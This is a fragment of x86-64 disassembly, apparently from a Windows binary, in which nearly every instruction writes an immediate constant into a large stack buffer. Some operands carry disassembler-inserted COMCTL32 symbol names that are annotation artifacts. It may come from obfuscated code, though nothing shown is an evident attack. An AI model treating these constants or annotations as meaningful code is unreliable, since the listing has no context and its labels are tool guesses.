mov dword [rsp + 0x43a4], 0x33333fd0
movabs rax, 0x7ab765fee3e518
mov qword [rsp + 0x8608], rax
mov dword [rsp + 0x43a8], 0xd94b
mov dword [rsp + 0x43ac], 0xdb3f
mov dword [rsp + 0x43b0], 0xb238
mov byte [rsp + 0x1de], 0x5a
mov eax, 0x6c3
mov word [rsp + 0xc10], ax
movabs rax, 0x7c300f4cd5f213
mov qword [rsp + 0x8610], rax
movabs rax, 0x7070c8b4a67aea
mov qword [rsp + 0x8618], rax
mov dword [rsp + 0x43b4], 0x71dc8c2
mov eax, 0x54e
mov word [rsp + 0xc14], ax
mov dword [rsp + 0x43b8], 0x45f0
mov byte [rsp + 0x1df], 0x53
mov dword [rsp + 0x43bc], 0x1a18e68f
movabs rax, 0x75509708de2519
mov qword [rsp + 0x8620], rax
mov byte [rsp + 0x1e0], 0x76
movabs rax, 0x72874cecc74538
mov qword [rsp + 0x8628], rax
mov eax, 0x2db
mov word [rsp + 0xc18], ax
mov dword [rsp + 0x43c0], 0x1f62e198
mov eax, 0x7a1
mov word [rsp + 0xc1c], ax
movabs rax, 0x745a6d73e9f0e6
mov qword [rsp + 0x8630], rax
mov dword [rsp + 0x43c4], 0x3f7a1f8
movabs rax, 0x7161478f16d42d
mov qword [rsp + 0x8638], rax
mov byte [rsp + 0x1e1], 0x66
mov dword [rsp + 0x43c8], 0x44eebef4
mov dword [rsp + 0x43cc], 0x1e2db05f
movabs rax, 0x7e0aa4442bf4cb
mov qword [rsp + 0x8640], rax
mov byte [rsp + 0x1e2], reloc.COMCTL32.dll_DrawInsert
mov byte [rsp + 0x1e3], 0x60
mov dword [rsp + 0x43d0], 0x5375191a
mov eax, 0xa04
mov word [rsp + 0xc20], ax
mov byte [rsp + 0x1e4], LBItemFromPt
mov dword [rsp + 0x43d4], 0x4a84f410
mov dword [rsp + 0x43d8], 0x541
mov eax, 0x5a8
mov word [rsp + 0xc24], ax
mov eax, 0x1b3
mov word [rsp + 0xc28], ax
mov eax, 0x5dc
mov word [rsp + 0xc2c], ax
mov dword [rsp + 0x43dc], 0x1bb2
mov dword [rsp + 0x43e0], 0x4c4fa234
mov eax, 0x5ab
mov word [rsp + 0xc30], ax
mov dword [rsp + 0x43e4], 0xc3d
mov byte [rsp + 0x1e5], 0x31
mov byte [rsp + 0x1e6], 0x8c
movabs rax, 0x762dea6291beb1
mov qword [rsp + 0x8648], rax
mov dword [rsp + 0x43e8], 0x3e53
mov eax, 0x24d
mov word [rsp + 0xc34], ax
mov eax, 0x3b3
mov word [rsp + 0xc38], ax
mov byte [rsp + 0x1e7], 0x57
mov byte [rsp + 0x1e8], 0x36
mov eax, 0x76e
mov word [rsp + 0xc3c], ax
mov eax, 0x125
mov word [rsp + 0xc40], ax
mov byte [rsp + 0x1e9], 0x38
movabs rax, 0x7d079b9e085533
mov qword [rsp + 0x8650], rax
mov eax, 0xb6
mov word [rsp + 0xc44], ax
movabs rax, 0x79653c39cd5a73
mov qword [rsp + 0x8658], rax
mov dword [rsp + 0x43ec], 0x55a3f9ca
mov eax, 0x181
mov word [rsp + 0xc48], ax
movabs rax, 0x7acec859abab80
mov qword [rsp + 0x8660], rax
mov eax, 0xf00
mov word [rsp + 0xc4c], ax
mov byte [rsp + 0x1ea], 0x4c
movabs rax, 0x744ccf5fc9dd61
mov qword [rsp + 0x8668], rax
movabs rax, 0x73e1767e5c03f3
mov qword [rsp + 0x8670], rax
mov dword [rsp + 0x43f0], 0x68002514
movabs rax, 0x734745ec456bd6
mov qword [rsp + 0x8678], rax
mov byte [rsp + 0x1eb], 0xb4
movabs rax, 0x7e36fd2b8f7c1d
mov qword [rsp + 0x8680], rax
mov dword [rsp + 0x43f4], 0xb013
mov eax, 0x2b9
mov word [rsp + 0xc50], ax
mov eax, 0x653
mov word [rsp + 0xc54], ax
mov eax, 0x14f
mov word [rsp + 0xc58], ax
mov dword [rsp + 0x43f8], 0x9246
movabs rax, 0x7eeca81b2e5e91
mov qword [rsp + 0x8688], rax
mov dword [rsp + 0x43fc], 0x3eba289d
mov dword [rsp + 0x4400], 0x166fd4ee
mov dword [rsp + 0x4404], 0x5f28
mov dword [rsp + 0x4408], 0x9d23
movabs rax, 0x79ab25e7eaf425
mov qword [rsp + 0x8690], rax
mov dword [rsp + 0x440c], 0x5b41a05c
mov byte [rsp + 0x1ec], 0x4e
mov dword [rsp + 0x4410], 0x1c74ab71
movabs rax, 0x73f78366454cb0
mov qword [rsp + 0x8698], rax
mov eax, 0x3d8
mov word [rsp + 0xc5c], ax
mov byte [rsp + 0x1ed], 0x67
mov eax, 0x6e3
mov word [rsp + 0xc60], ax
mov eax, 0x3a8
mov word [rsp + 0xc64], ax
mov dword [rsp + 0x4414], 0x2eaa46db
mov dword [rsp + 0x4418], 0x6357
mov eax, 0x27
mov word [rsp + 0xc68], ax
mov dword [rsp + 0x441c], 0x78cb
mov byte [rsp + 0x1ee], 0x29
mov dword [rsp + 0x4420], 0x723929e5
movabs rax, 0x79e4aade397685
mov qword [rsp + 0x86a0], rax
movabs rax, 0x74f6579b7b4366
mov qword [rsp + 0x86a8], rax
movabs rax, 0x79ba4b29e13f0e
mov qword [rsp + 0x86b0], rax
mov eax, 0xb1
mov word [rsp + 0xc6c], ax
movabs rax, 0x78de58fbbde2af
mov qword [rsp + 0x86b8], rax
mov dword [rsp + 0x4424], 0x61b25279
mov byte [rsp + 0x1ef], 0x6a
movabs rax, 0x7c6c04e452fb96
mov qword [rsp + 0x86c0], rax
mov byte [rsp + 0x1f0], 0x5a
movabs rax, 0x75b0b9ac6ddeaa
mov qword [rsp + 0x86c8], rax
mov dword [rsp + 0x4428], 0x2495413a
mov byte [rsp + 0x1f1], 0xac
mov dword [rsp + 0x442c], 0x2667
mov eax, 0x535
mov word [rsp + 0xc70], ax
mov dword [rsp + 0x4430], 0x795cc879
mov dword [rsp + 0x4434], 0x3290
movabs rax, 0x71de3f549a130b
mov qword [rsp + 0x86d0], rax
movabs rax, 0x703b98499c8e30
mov qword [rsp + 0x86d8], rax
mov byte [rsp + 0x1f2], 0x64
movabs rax, 0x728a7f48209793
mov qword [rsp + 0x86e0], rax
mov byte [rsp + 0x1f3], 0x6d
mov dword [rsp + 0x4438], 0x74b3
mov byte [rsp + 0x1f4], 0x34
mov eax, 0xd9d
mov word [rsp + 0xc74], ax
mov byte [rsp + 0x1f5], 0xa
mov eax, 0x75b
mov word [rsp + 0xc78], ax
movabs rax, 0x781a88074d58dd
mov qword [rsp + 0x86e8], rax
mov byte [rsp + 0x1f6], 0x5a
mov byte [rsp + 0x1f7], 0x16
mov eax, 0x31b
mov word [rsp + 0xc7c], ax
mov dword [rsp + 0x443c], 0xad87
mov dword [rsp + 0x4440], 0x71f0
mov byte [rsp + 0x1f8], 0x17
mov byte [rsp + 0x1f9], 7
movabs rax, 0x76501decd54023
mov qword [rsp + 0x86f0], rax
mov dword [rsp + 0x4444], 0xd622
mov eax, 0x3a
mov word [rsp + 0xc80], ax
mov byte [rsp + 0x1fa], 0x59
mov dword [rsp + 0x4448], 0xc27
mov dword [rsp + 0x444c], 0xeb97
mov byte [rsp + 0x1fb], 0xd6
mov byte [rsp + 0x1fc], 0x16
mov byte [rsp + 0x1fd], 4
mov eax, 0x51c
mov word [rsp + 0xc84], ax
mov eax, 0x170
mov word [rsp + 0xc88], ax
movabs rax, 0x75364ce855781b
mov qword [rsp + 0x86f8], rax
movabs rax, 0x734915a9c85eb0
mov qword [rsp + 0x8700], rax
mov eax, 0x2f9
mov word [rsp + 0xc8c], ax
mov eax, pe_nt_image_headers64
mov word [rsp + 0xc90], ax
mov dword [rsp + 0x4450], 0x1084
mov dword [rsp + 0x4454], 0x44bc
mov eax, 0x521
mov word [rsp + 0xc94], ax
mov eax, 0x912
mov word [rsp + 0xc98], ax
mov eax, 0xab
mov word [rsp + 0xc9c], ax
mov eax, 0x4f9
mov word [rsp + 0xca0], ax
mov eax, 0x6f5
mov word [rsp + 0xca4], ax
mov eax, 0x739
mov word [rsp + 0xca8], ax
mov dword [rsp + 0x4458], 0x6a35ae6d
mov eax, 0xed1
mov word [rsp + 0xcac], ax
mov eax, 0x7de
mov word [rsp + 0xcb0], ax
mov byte [rsp + 0x1fe], 0x23
mov dword [rsp + 0x445c], 0x76cf57e3
movabs rax, 0x7e6a7c45796716
mov qword [rsp + 0x8708], rax
movabs rax, 0x7aef0b0a3dc2e9
mov qword [rsp + 0x8710], rax
movabs rax, 0x7b994f330b1411
mov qword [rsp + 0x8718], rax
mov dword [rsp + 0x4460], 0x6d4e8a9f
mov eax, 0xe8b
mov word [rsp + 0xcb4], ax
movabs rax, 0x7eac46a4683846
mov qword [rsp + 0x8720], rax
mov byte [rsp + 0x1ff], 0x29
mov dword [rsp + 0x4464], 0x150fa1ba
mov dword [rsp + 0x4468], 0x900d
mov dword [rsp + 0x446c], 0x57235ee4
mov byte [rsp + 0x200], 0x35
mov dword [rsp + 0x4470], 0x6061
movabs rax, 0x7093953986c7e5
mov qword [rsp + 0x8728], rax
mov eax, 0xb02
mov word [rsp + 0xcb8], ax
movabs rax, 0x7ce23bdf0b6546
mov qword [rsp + 0x8730], rax
movabs rax, 0x7898a3f6a33f10
mov qword [rsp + 0x8738], rax
mov byte [rsp + 0x201], 0xc7
movabs rax, 0x76b985e18ca398
mov qword [rsp + 0x8740], rax
mov byte [rsp + 0x202], 0xd6
mov byte [rsp + 0x203], 0x4d
mov eax, 0x984
mov word [rsp + 0xcbc], ax
mov byte [rsp + 0x204], 0x1c
mov byte [rsp + 0x205], 0x1f
movabs rax, 0x701ada7e8f5a9c
mov qword [rsp + 0x8748], rax
mov byte [rsp + 0x206], 0x75
mov dword [rsp + 0x4474], 0x80c8
movabs rax, 0x73ca7b12ee0837
mov qword [rsp + 0x8750], rax
mov eax, 0x612
mov word [rsp + 0xcc0], ax
movabs rax, 0x729607aec4b8d3
mov qword [rsp + 0x8758], rax
movabs rax, 0x7597d1271d3c47
mov qword [rsp + 0x8760], rax
mov eax, 0x437
mov word [rsp + 0xcc4], ax
mov byte [rsp + 0x207], 0xce
mov dword [rsp + 0x4478], 0x43ec3286
mov eax, 0x389
mov word [rsp + 0xcc8], ax
mov byte [rsp + 0x208], 0xdc
mov byte [rsp + 0x209], 0xe1
mov dword [rsp + 0x447c], 0xe4be
movabs rax, 0x7a4f40e5f3c402
mov qword [rsp + 0x8768], rax
movabs rax, 0x7489bbb82189f2
mov qword [rsp + 0x8770], rax
movabs rax, 0x7578899e9b5377
mov qword [rsp + 0x8778], rax
mov byte [rsp + 0x20a], 0x7a
mov byte [rsp + 0x20b], 0x4c
mov eax, 0x2e4
mov word [rsp + 0xccc], ax
mov dword [rsp + 0x4480], 0x84a654
movabs rax, 0x701de9db6886b4
mov qword [rsp + 0x8780], rax
mov dword [rsp + 0x4484], 0x2cb313f5
mov eax, 0x43b
mov word [rsp + 0xcd0], ax
mov eax, 0x109
mov word [rsp + 0xcd4], ax
mov dword [rsp + 0x4488], 0x234953d1
mov dword [rsp + 0x448c], 0x49670806
mov byte [rsp + 0x20c], 0xb4
mov eax, 0x151
mov word [rsp + 0xcd8], ax
mov byte [rsp + 0x20d], 0x3e
mov dword [rsp + 0x4490], 0x1e2a1c3d
movabs rax, 0x7cd1b2341e512f
mov qword [rsp + 0x8788], rax
mov eax, 0xbb
mov word [rsp + 0xcdc], ax
mov dword [rsp + 0x4494], 0x561b57f5
mov eax, RemoveWindowSubclass
mov word [rsp + 0xce0], ax
mov dword [rsp + 0x4498], 0x43749d39
mov byte [rsp + 0x20e], 0xc3
mov eax, 0x754
mov word [rsp + 0xce4], ax
mov eax, 0x765
mov word [rsp + 0xce8], ax
mov byte [rsp + 0x20f], 0x29
mov eax, 0xc68
mov word [rsp + 0xcec], ax
mov eax, 0x635
mov word [rsp + 0xcf0], ax
mov byte [rsp + 0x210], 0x58
mov dword [rsp + 0x449c], 0x4961a330
movabs rax, 0x73cd0e1c8a0dc6
mov qword [rsp + 0x8790], rax
mov eax, 0x546
mov word [rsp + 0xcf4], ax
mov dword [rsp + 0x44a0], 0x212c1da5
mov eax, 0x8e8
mov word [rsp + 0xcf8], ax
mov byte [rsp + 0x211], 0xf4
mov eax, 0x374
mov word [rsp + 0xcfc], ax
movabs rax, 0x7ef23714ce5407
mov qword [rsp + 0x8798], rax
movabs rax, 0x7ea7a09987684c
mov qword [rsp + 0x87a0], rax
mov eax, 0x2cf
mov word [rsp + 0xd00], ax
mov eax, 0x104
mov word [rsp + 0xd04], ax
mov byte [rsp + 0x212], 0x9b
mov dword [rsp + 0x44a4], 0x7005
mov dword [rsp + 0x44a8], 0x7b9eb54d
movabs rax, 0x79f8d2b74fea0f
mov qword [rsp + 0x87a8], rax
mov eax, 0xbd5
mov word [rsp + 0xd08], ax
movabs rax, 0x76b1e67d11ac10
mov qword [rsp + 0x87b0], rax
mov byte [rsp + 0x213], 0x1a
movabs rax, 0x77ee632a2d406e
mov qword [rsp + 0x87b8], rax
mov eax, 0x3ec
mov word [rsp + 0xd0c], ax
mov dword [rsp + 0x44ac], 0x65f061d5
movabs rax, 0x7cfe563f6ee433
mov qword [rsp + 0x87c0], rax
mov eax, 0x6de
mov word [rsp + 0xd10], ax
mov byte [rsp + 0x214], 0x46
mov dword [rsp + 0x44b0], 0xebb7
movabs rax, 0x77b4c00bde2a21
mov qword [rsp + 0x87c8], rax
mov eax, 0xa26
mov word [rsp + 0xd14], ax
mov eax, 0x3a0
mov word [rsp + 0xd18], ax
movabs rax, 0x752489b4f9025a
mov qword [rsp + 0x87d0], rax
mov dword [rsp + 0x44b4], 0xf9e1
movabs rax, 0x72d88ce5e3e185
mov qword [rsp + 0x87d8], rax
movabs rax, 0x79b97cf88a5e0d
mov qword [rsp + 0x87e0], rax
mov dword [rsp + 0x44b8], 0x28debec9
mov byte [rsp + 0x215], 0xa2
mov eax, 0x491
mov word [rsp + 0xd1c], ax
mov byte [rsp + 0x216], 0x41
mov dword [rsp + 0x44bc], 0xdf9b
mov dword [rsp + 0x44c0], 0x9718
mov dword [rsp + 0x44c4], 0xfd71
mov eax, 0x3c3
mov word [rsp + 0xd20], ax
mov byte [rsp + 0x217], 0xaa
movabs rax, 0x746528cee6ac60
mov qword [rsp + 0x87e8], rax
mov byte [rsp + 0x218], 0x3f
movabs rax, 0x704ce026717d29
mov qword [rsp + 0x87f0], rax
mov byte [rsp + 0x219], 0x28
mov dword [rsp + 0x44c8], 0x7cf1b174
mov eax, 0x207
mov word [rsp + 0xd24], ax
mov eax, 0x10f
mov word [rsp + 0xd28], ax
movabs rax, 0x7dc6ae7d429f6f
mov qword [rsp + 0x87f8], rax
mov byte [rsp + 0x21a], 0x20
mov dword [rsp + 0x44cc], 0x8262
mov dword [rsp + 0x44d0], 0x19c4bbfd
movabs rax, 0x76c290affacc90
mov qword [rsp + 0x8800], rax
mov byte [rsp + 0x21b], 0x77
mov byte [rsp + 0x21c], 0x10
mov dword [rsp + 0x44d4], 0xdb9c
mov byte [rsp + 0x21d], 0x8f
mov dword [rsp + 0x44d8], 0x711ce625
mov dword [rsp + 0x44dc], 0x602804a1
mov eax, 0x483
mov word [rsp + 0xd2c], ax
movabs rax, 0x754b29eebd9bfa
mov qword [rsp + 0x8808], rax
movabs rax, 0x76a9263c637fd1
mov qword [rsp + 0x8810], rax
movabs rax, 0x76075ec6603001
mov qword [rsp + 0x8818], rax
mov dword [rsp + 0x44e0], 0x73697efd
movabs rax, 0x70f8c20cd8b841
mov qword [rsp + 0x8820], rax
mov eax, 0xa0a
mov word [rsp + 0xd30], ax
mov byte [rsp + 0x21e], 0x5c
movabs rax, 0x764476982de62b
mov qword [rsp + 0x8828], rax
movabs rax, 0x7e57632a6562c7
mov qword [rsp + 0x8830], rax
mov byte [rsp + 0x21f], 0x2a
mov eax, 0xba1
mov word [rsp + 0xd34], ax
movabs rax, 0x7254b93184a28e
mov qword [rsp + 0x8838], rax
mov eax, 0x739
mov word [rsp + 0xd38], ax
mov byte [rsp + 0x220], 0x21
mov dword [rsp + 0x44e4], 0xf38e
mov dword [rsp + 0x44e8], 0x755fe975
mov byte [rsp + 0x221], 0x17
mov eax, 0x733
mov word [rsp + 0xd3c], ax
movabs rax, 0x7c6dec36677f44
mov qword [rsp + 0x8840], rax
mov byte [rsp + 0x222], 0x1f
mov eax, 0xbe9
mov word [rsp + 0xd40], ax
mov byte [rsp + 0x223], 0x7b
movabs rax, 0x752047d941ca59
mov qword [rsp + 0x8848], rax
mov eax, 0x430
mov word [rsp + 0xd44], ax
mov eax, 0x335
mov word [rsp + 0xd48], ax
mov dword [rsp + 0x44ec], 0x3fce2055
mov eax, 0x3aa
mov word [rsp + 0xd4c], ax
mov dword [rsp + 0x44f0], 0x26c7bdeb
mov eax, 0xdb
mov word [rsp + 0xd50], ax
mov eax, 0x531
mov word [rsp + 0xd54], ax
mov dword [rsp + 0x44f4], 0x27d0bea0
mov dword [rsp + 0x44f8], 0x77bb
mov byte [rsp + 0x224], 0xd0
mov eax, 3
mov word [rsp + 0xd58], ax
mov byte [rsp + 0x225], 0x3e
mov dword [rsp + 0x44fc], 0x1885
movabs rax, 0x75d67144e6a49e
mov qword [rsp + 0x8850], rax
mov dword [rsp + 0x4500], 0x742c
mov eax, 0x402
mov word [rsp + 0xd5c], ax
mov dword [rsp + 0x4504], 0x361306e0
mov dword [rsp + 0x4508], 0x2b13f038
mov eax, 0x7a
mov word [rsp + 0xd60], ax
mov byte [rsp + 0x226], reloc.COMCTL32.dll_LBItemFromPt
movabs rax, 0x7b22c1472596cf
mov qword [rsp + 0x8858], rax
mov byte [rsp + 0x227], 0xf7
movabs rax, 0x73fe29ee33bc01
mov qword [rsp + 0x8860], rax
mov eax, 0x17f
mov word [rsp + 0xd64], ax
movabs rax, 0x7247b1b263664a
mov qword [rsp + 0x8868], rax
mov dword [rsp + 0x450c], 0xb9d2
movabs rax, 0x7cb02ade7db77e
mov qword [rsp + 0x8870], rax
mov eax, 0xa3d
mov word [rsp + 0xd68], ax
mov eax, 0xb7c
mov word [rsp + 0xd6c], ax
movabs rax, 0x76cb9a5f057a6e
mov qword [rsp + 0x8878], rax
mov dword [rsp + 0x4510], 0x354
movabs rax, 0x7e3a10d033acdb
mov qword [rsp + 0x8880], rax
mov dword [rsp + 0x4514], 0xb38daf6
mov byte [rsp + 0x228], 0x46
mov eax, 0x50
mov word [rsp + 0xd70], ax
mov dword [rsp + 0x4518], 0x587d85eb
mov byte [rsp + 0x229], 0x51
mov eax, 0x6b8
mov word [rsp + 0xd74], ax
mov byte [rsp + 0x22a], 0xe2
mov eax, 0x348
mov word [rsp + 0xd78], ax
mov dword [rsp + 0x451c], 0x52e023e4
mov dword [rsp + 0x4520], 0x2be8
mov byte [rsp + 0x22b], 0x23
mov byte [rsp + 0x22c], 0x42
movabs rax, 0x7631bd201631b8
mov qword [rsp + 0x8888], rax
mov dword [rsp + 0x4524], 0x631b8f95
movabs rax, 0x77919d3df2841b
mov qword [rsp + 0x8890], rax
mov eax, 0x66d
mov word [rsp + 0xd7c], ax
mov dword [rsp + 0x4528], 0x894b
mov dword [rsp + 0x452c], 0xa7ee
mov dword [rsp + 0x4530], 0xdfcb40e
mov eax, 0x48c
mov word [rsp + 0xd80], ax
mov dword [rsp + 0x4534], 0x6b55
mov dword [rsp + 0x4538], 0x33732d36
mov byte [rsp + 0x22d], 0xea
mov byte [rsp + 0x22e], 0x11
mov dword [rsp + 0x453c], 0x7353d0bd
mov dword [rsp + 0x4540], 0xa712
mov eax, 0x507
mov word [rsp + 0xd84], ax
mov dword [rsp + 0x4544], 0x3612f2
mov eax, 0xa9d
mov word [rsp + 0xd88], ax
mov dword [rsp + 0x4548], 0x6fb8c54
movabs rax, 0x7489634e6a1c09
mov qword [rsp + 0x8898], rax
movabs rax, 0x7b90b293ee35df
mov qword [rsp + 0x88a0], rax
mov eax, 0xce0
mov word [rsp + 0xd8c], ax
mov byte [rsp + 0x22f], 0xe0
movabs rax, 0x789bc1f53a8008
mov qword [rsp + 0x88a8], rax
mov eax, 0x7e6
mov word [rsp + 0xd90], ax
mov byte [rsp + 0x230], 0xba
mov dword [rsp + 0x454c], 0x3d6ac221
mov dword [rsp + 0x4550], 0xe394
mov eax, 0xc36
mov word [rsp + 0xd94], ax
mov dword [rsp + 0x4554], 0x6ee539da
movabs rax, 0x767c48766713e6
mov qword [rsp + 0x88b0], rax
movabs rax, 0x759308146c2372
mov qword [rsp + 0x88b8], rax
mov eax, 0xc01
mov word [rsp + 0xd98], ax
mov eax, 0x7e7
mov word [rsp + 0xd9c], ax
mov dword [rsp + 0x4558], 0x5bce2198
mov byte [rsp + 0x231], 0x6a
mov byte [rsp + 0x232], 0x95
mov dword [rsp + 0x455c], 0xd2eb
mov eax, 0x3e
mov word [rsp + 0xda0], ax
mov dword [rsp + 0x4560], 0x923e
mov dword [rsp + 0x4564], 0x7ba09eba
mov dword [rsp + 0x4568], 0x75e5
mov eax, 0x664
mov word [rsp + 0xda4], ax
mov byte [rsp + 0x233], 0x3c
mov dword [rsp + 0x456c], 0xc887
mov dword [rsp + 0x4570], 0x76c4
mov dword [rsp + 0x4574], 0x3a382280
movabs rax, 0x75b7e891bc3df2
mov qword [rsp + 0x88c0], rax
mov eax, 0x44b
mov word [rsp + 0xda8], ax
mov byte [rsp + 0x234], 0x56
movabs rax, 0x7203c8b0d8b054
mov qword [rsp + 0x88c8], rax
movabs rax, 0x748303f638b777
mov qword [rsp + 0x88d0], rax
mov dword [rsp + 0x4578], 0x152a
mov dword [rsp + 0x457c], 0x92ae
mov eax, 0x26e
mov word [rsp + 0xdac], ax
movabs rax, 0x7c0db9d08aba4b
mov qword [rsp + 0x88d8], rax
movabs rax, 0x7b109fe67ad0d5
mov qword [rsp + 0x88e0], rax
mov dword [rsp + 0x4580], 0x2e8ebad1
mov eax, 0x719
mov word [rsp + 0xdb0], ax
mov eax, 0x38d
mov word [rsp + 0xdb4], ax
mov eax, 0x476
mov word [rsp + 0xdb8], ax
mov dword [rsp + 0x4584], 0x436664fe
mov eax, 0x2c9
mov word [rsp + 0xdbc], ax
movabs rax, 0x7a541c6a809275
mov qword [rsp + 0x88e8], rax
movabs rax, 0x7b23d9d11b645c
mov qword [rsp + 0x88f0], rax
mov byte [rsp + 0x235], 0x32
mov dword [rsp + 0x4588], 0xaf19
mov dword [rsp + 0x458c], 0x7c964858
movabs rax, 0x775c299e473910
mov qword [rsp + 0x88f8], rax
movabs rax, 0x789d19da79ed98
mov qword [rsp + 0x8900], rax
mov byte [rsp + 0x236], 0x57
mov eax, 0x6c2
mov word [rsp + 0xdc0], ax
mov byte [rsp + 0x237], 0x2a
mov dword [rsp + 0x4590], 0x60a0
mov byte [rsp + 0x238], 0x3b
movabs rax, 0x7d3c42db72255d
mov qword [rsp + 0x8908], rax
movabs rax, 0x74230466f2ff4b
mov qword [rsp + 0x8910], rax
movabs rax, 0x7642eb580b72e6
mov qword [rsp + 0x8918], rax
mov dword [rsp + 0x4594], 0xade1
mov eax, 0x7eb
mov word [rsp + 0xdc4], ax
mov byte [rsp + 0x239], 0xfa
movabs rax, 0x7cd31be073b36c
mov qword [rsp + 0x8920], rax
mov eax, 0x2df
mov word [rsp + 0xdc8], ax
movabs rax, 0x7a6edf8bdbf43a
mov qword [rsp + 0x8928], rax
movabs rax, 0x7109b53bfa9576
mov qword [rsp + 0x8930], rax
movabs rax, 0x7d57c677862324
mov qword [rsp + 0x8938], rax
mov dword [rsp + 0x4598], 0x1a72a783
movabs rax, 0x7ef9f08a2b826a
mov qword [rsp + 0x8940], rax
mov byte [rsp + 0x23a], 0x6b
mov byte [rsp + 0x23b], 0xb4
mov byte [rsp + 0x23c], 0x81
mov dword [rsp + 0x459c], 0x7bdf
mov dword [rsp + 0x45a0], 0x4faf1d37
movabs rax, 0x7e6242fe2199ba
mov qword [rsp + 0x8948], rax
mov dword [rsp + 0x45a4], 0xa9bb
mov dword [rsp + 0x45a8], 0x8677
mov eax, 0x665
mov word [rsp + 0xdcc], ax
mov dword [rsp + 0x45ac], 0x73b2
mov eax, 0x228
mov word [rsp + 0xdd0], ax
movabs rax, 0x7cbe4afe74a5fa
mov qword [rsp + 0x8950], rax
mov eax, 0x416
mov word [rsp + 0xdd4], ax
mov eax, 0x20e
mov word [rsp + 0xdd8], ax
movabs rax, 0x7e7c19c07a0a3f
mov qword [rsp + 0x8958], rax
movabs rax, 0x7822a45f9518bd
mov qword [rsp + 0x8960], rax
movabs rax, 0x789d37f3adce11
mov qword [rsp + 0x8968], rax
mov dword [rsp + 0x45b0], 0x5b7ddd7f
mov dword [rsp + 0x45b4], 0xa36b
mov dword [rsp + 0x45b8], 0x3fb2d13d
mov byte [rsp + 0x23d], 0x7e
mov eax, 0x57f
mov word [rsp + 0xddc], ax
mov eax, 0x775
mov word [rsp + 0xde0], ax
movabs rax, 0x7c49ad4eaf59dd
mov qword [rsp + 0x8970], rax
mov byte [rsp + 0x23e], 0x52
movabs rax, 0x79c83066759b02
mov qword [rsp + 0x8978], rax
mov eax, 0x1dd
mov word [rsp + 0xde4], ax
mov dword [rsp + 0x45bc], 0x16d63427
movabs rax, 0x78f6a13a0b83ce
mov qword [rsp + 0x8980], rax
mov eax, 0x4ab
mov word [rsp + 0xde8], ax
mov byte [rsp + 0x23f], 4
mov dword [rsp + 0x45c0], 0x50072be1
mov byte [rsp + 0x240], 0xf2
mov eax, 0x144
mov word [rsp + 0xdec], ax
mov eax, 0xf7d
mov word [rsp + 0xdf0], ax
movabs rax, 0x7aff0e22ac40a5
mov qword [rsp + 0x8988], rax
mov eax, 0x12d
mov word [rsp + 0xdf4], ax
mov dword [rsp + 0x45c4], 0x16c811ee
mov byte [rsp + 0x241], 0x3a
movabs rax, 0x734168ca87e8ff
mov qword [rsp + 0x8990], rax
mov dword [rsp + 0x45c8], 0x1c0b4240
mov byte [rsp + 0x242], 0x46
mov byte [rsp + 0x243], 0x3c
movabs rax, 0x7715dcd51880fe
mov qword [rsp + 0x8998], rax
mov eax, 0xb21
mov word [rsp + 0xdf8], ax
mov eax, 0x889
mov word [rsp + 0xdfc], ax
movabs rax, 0x7074ae993eaaa4
mov qword [rsp + 0x89a0], rax
mov byte [rsp + 0x244], 0x62
movabs rax, 0x727ef433fcf164
mov qword [rsp + 0x89a8], rax
movabs rax, 0x7dfbb110f2ca3c
mov qword [rsp + 0x89b0], rax
mov byte [rsp + 0x245], 0x51
movabs rax, 0x7532a38dd4c48b
mov qword [rsp + 0x89b8], rax
mov dword [rsp + 0x45cc], 0x2189b864
movabs rax, 0x70f747d2e0509d
mov qword [rsp + 0x89c0], rax
mov eax, 0xfeb
mov word [rsp + 0xe00], ax
movabs rax, 0x767ff7801f2acb
mov qword [rsp + 0x89c8], rax
mov dword [rsp + 0x45d0], 0x7c8e728c
mov eax, 0x365
mov word [rsp + 0xe04], ax
movabs rax, 0x7316c5adaaab5f
mov qword [rsp + 0x89d0], rax
mov byte [rsp + 0x246], 0xc8
mov eax, 0xe37
mov word [rsp + 0xe08], ax
movabs rax, 0x7b404c42ee4c7c
mov qword [rsp + 0x89d8], rax
mov eax, 0x32a
mov word [rsp + 0xe0c], ax
mov dword [rsp + 0x45d4], 0xed37
mov dword [rsp + 0x45d8], 0x14ba
movabs rax, 0x79649eedcd5adc
mov qword [rsp + 0x89e0], rax
mov byte [rsp + 0x247], 0x6f
mov eax, 0x295
mov word [rsp + 0xe10], ax
mov byte [rsp + 0x248], 0x94
mov eax, 0x725
mov word [rsp + 0xe14], ax
movabs rax, 0x7ab1d481029216
mov qword [rsp + 0x89e8], rax
movabs rax, 0x73876d0f8fea72
mov qword [rsp + 0x89f0], rax
mov byte [rsp + 0x249], 0xfe
mov eax, 0xdf8
mov word [rsp + 0xe18], ax
mov dword [rsp + 0x45dc], 0x8ae1
mov eax, 0xafe
mov word [rsp + 0xe1c], ax
mov eax, 0xa0c
mov word [rsp + 0xe20], ax
mov byte [rsp + 0x24a], 0x16
mov byte [rsp + 0x24b], 0x6f
movabs rax, 0x7ce87f59694562
mov qword [rsp + 0x89f8], rax
mov byte [rsp + 0x24c], 0x80
mov eax, 0x87a
mov word [rsp + 0xe24], ax
mov dword [rsp + 0x45e0], 0x2f1c
mov eax, 0x79d
mov word [rsp + 0xe28], ax
mov byte [rsp + 0x24d], 0x17
movabs rax, 0x7da0ae79901e17
mov qword [rsp + 0x8a00], rax
mov byte [rsp + 0x24e], 0xa5
movabs rax, 0x791132a7efb004
mov qword [rsp + 0x8a08], rax
mov eax, 0x6e6
mov word [rsp + 0xe2c], ax
mov dword [rsp + 0x45e4], 0x3e2c2022
mov eax, 0x506
mov word [rsp + 0xe30], ax
mov eax, 0x248
mov word [rsp + 0xe34], ax
mov byte [rsp + 0x24f], 0x46
mov dword [rsp + 0x45e8], 0x33e23559
mov byte [rsp + 0x250], reloc.COMCTL32.dll_MakeDragList
movabs rax, 0x7c10029bb132f2
mov qword [rsp + 0x8a10], rax
mov dword [rsp + 0x45ec], 0x6b00
mov byte [rsp + 0x251], 0x46
mov eax, 0x548
mov word [rsp + 0xe38], ax
mov eax, 0x472
mov word [rsp + 0xe3c], ax
mov dword [rsp + 0x45f0], 0x5cf2
mov byte [rsp + 0x252], 0x14
mov byte [rsp + 0x253], 0x7e
mov eax, 0x4e3
mov word [rsp + 0xe40], ax
mov eax, 0x700
mov word [rsp + 0xe44], ax
mov eax, 0xbf1
mov word [rsp + 0xe48], ax
movabs rax, 0x7002526a3248f5
mov qword [rsp + 0x8a18], rax
movabs rax, 0x76acffdbfd0f6e
mov qword [rsp + 0x8a20], rax
mov byte [rsp + 0x254], 0x23
mov eax, 0xc5f
mov word [rsp + 0xe4c], ax
